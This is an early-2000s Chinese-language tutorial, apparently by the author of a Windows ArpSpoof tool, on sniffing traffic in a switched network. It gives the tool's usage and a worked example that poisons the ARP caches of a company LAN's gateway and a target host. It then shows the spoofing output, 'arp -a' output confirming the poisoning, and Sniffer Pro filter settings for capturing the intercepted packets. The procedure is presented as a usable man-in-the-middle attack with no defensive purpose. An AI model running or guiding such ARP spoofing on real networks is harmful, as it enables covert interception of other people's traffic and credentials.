根據(jù)交換環(huán)境中Sniffer實現(xiàn)的原理(詳見交換環(huán)境下Sniffer的實現(xiàn)),我寫了一個類似于Linux環(huán)境下的ArpSpoof實現(xiàn)在Windows環(huán)境下的Arp Sniffer。
在交換環(huán)境下Windows中實現(xiàn)Sniffer需要具備的條件:
1、安裝Winpcap驅(qū)動。
2、我寫了一個類似于Linux環(huán)境下的ArpSpoof(我只在Windows 2000 Server下測試過,其他期待您的測試)。
3、一個Sniffer,如NetXray或者NAI Sniffer Pro(推薦)。
具體的實現(xiàn)方法:
使用ArpSpoof實現(xiàn)基于ARP的欺騙:
C:\>arpspoof.exe
ARPSpoof, by netXeyes, Special Thanks BB
www.netXeyes.com 2002, dansnow@21cn.com
Usage: ArpSpoof [Spoof IP1] [Spoof IP2] [Own IP]
其中Spoof IP1和Spoof IP2是想要進行欺騙和嗅探的IP地址,Own IP是自己的IP地址(注意這三個IP必須是在同一個局域網(wǎng)內(nèi)沒有跨越交換機或者路由器)。
例如目前公司的局域網(wǎng)環(huán)境為192.168.0.xxx,子網(wǎng)掩碼為255.255.255.0,網(wǎng)關為192.168.0.1。我們的IP為192.168.0.29,想要Sniffer 192.168.0.2的數(shù)據(jù)包。
由于網(wǎng)關為192.168.0.1,所以我們就只要欺騙192.168.0.1和192.168.0.2就可以了。也就是說告訴192.168.0.1,192.168.0.2的MAC地址是自己(192.168.0.29);然后再告訴192.168.0.2, 192.168.0.1的MAC地址是自己(192.168.0.29)。這樣以來所有的數(shù)據(jù)包都會發(fā)到192.168.0.29,并且由192.168.0.29實現(xiàn)轉(zhuǎn)發(fā)(windows 2000默認可以進行包轉(zhuǎn)發(fā),至于Windows 9.x和Windows NT/XP我沒有測試過,希望您可以告訴我)。
C:\>arpspoof.exe 192.168.0.1 192.168.0.2 192.168.0.29
ARPSpoof, by netXeyes, Special Thanks BB
www.netXeyes.com 2002, dansnow@21cn.com
Begin Spoof.........
Spoof 192.168.0.1: Mac of 192.168.0.2 ===> Mac of 192.168.0.29
Spoof 192.168.0.2: Mac of 192.168.0.1 ===> Mac of 192.168.0.29
Spoof 192.168.0.1: Mac of 192.168.0.2 ===> Mac of 192.168.0.29
Spoof 192.168.0.2: Mac of 192.168.0.1 ===> Mac of 192.168.0.29
Spoof 192.168.0.1: Mac of 192.168.0.2 ===> Mac of 192.168.0.29
Spoof 192.168.0.2: Mac of 192.168.0.1 ===> Mac of 192.168.0.29
.....................................................
是時候?qū)?92.168.0.1和192.168.0.2的ARP欺騙就開始了,在192.168.0.1上面使用arp -a命令可以看到192.168.0.2和192.168.0.29的MAC地址是一樣的。
C:\>arp -a
Interface: 192.168.0.1 on Interface 0x1000004
Internet Address Physical Address Type
192.168.0.2 00-00-86-61-6b-4e dynamic
192.168.0.29 00-00-86-61-6b-4e dynamic
同樣在192.168.0.2上面也會發(fā)現(xiàn)192.168.0.1和192.168.0.29的MAC地址是一樣的。
這樣我們就在192.168.0.1和192.168.0.2之間實現(xiàn)了ARP欺騙。
啟動Sniffer Pro,在Define Filter里面的Address Type中選擇Hardware(注意不要選為通常的類型IP,否則抓不到什么有意義的東西),Station1和Station2選擇設置為Any即可。
這時候就開始Sniffer了。
以上結(jié)果在我局域網(wǎng)環(huán)境中測試通過,不保證適用于所有的環(huán)境。
在開發(fā)及測試的過程中得到了BB的大力協(xié)助,以至于耽誤了其看八卦新聞的時間,內(nèi)疚了很久......:-)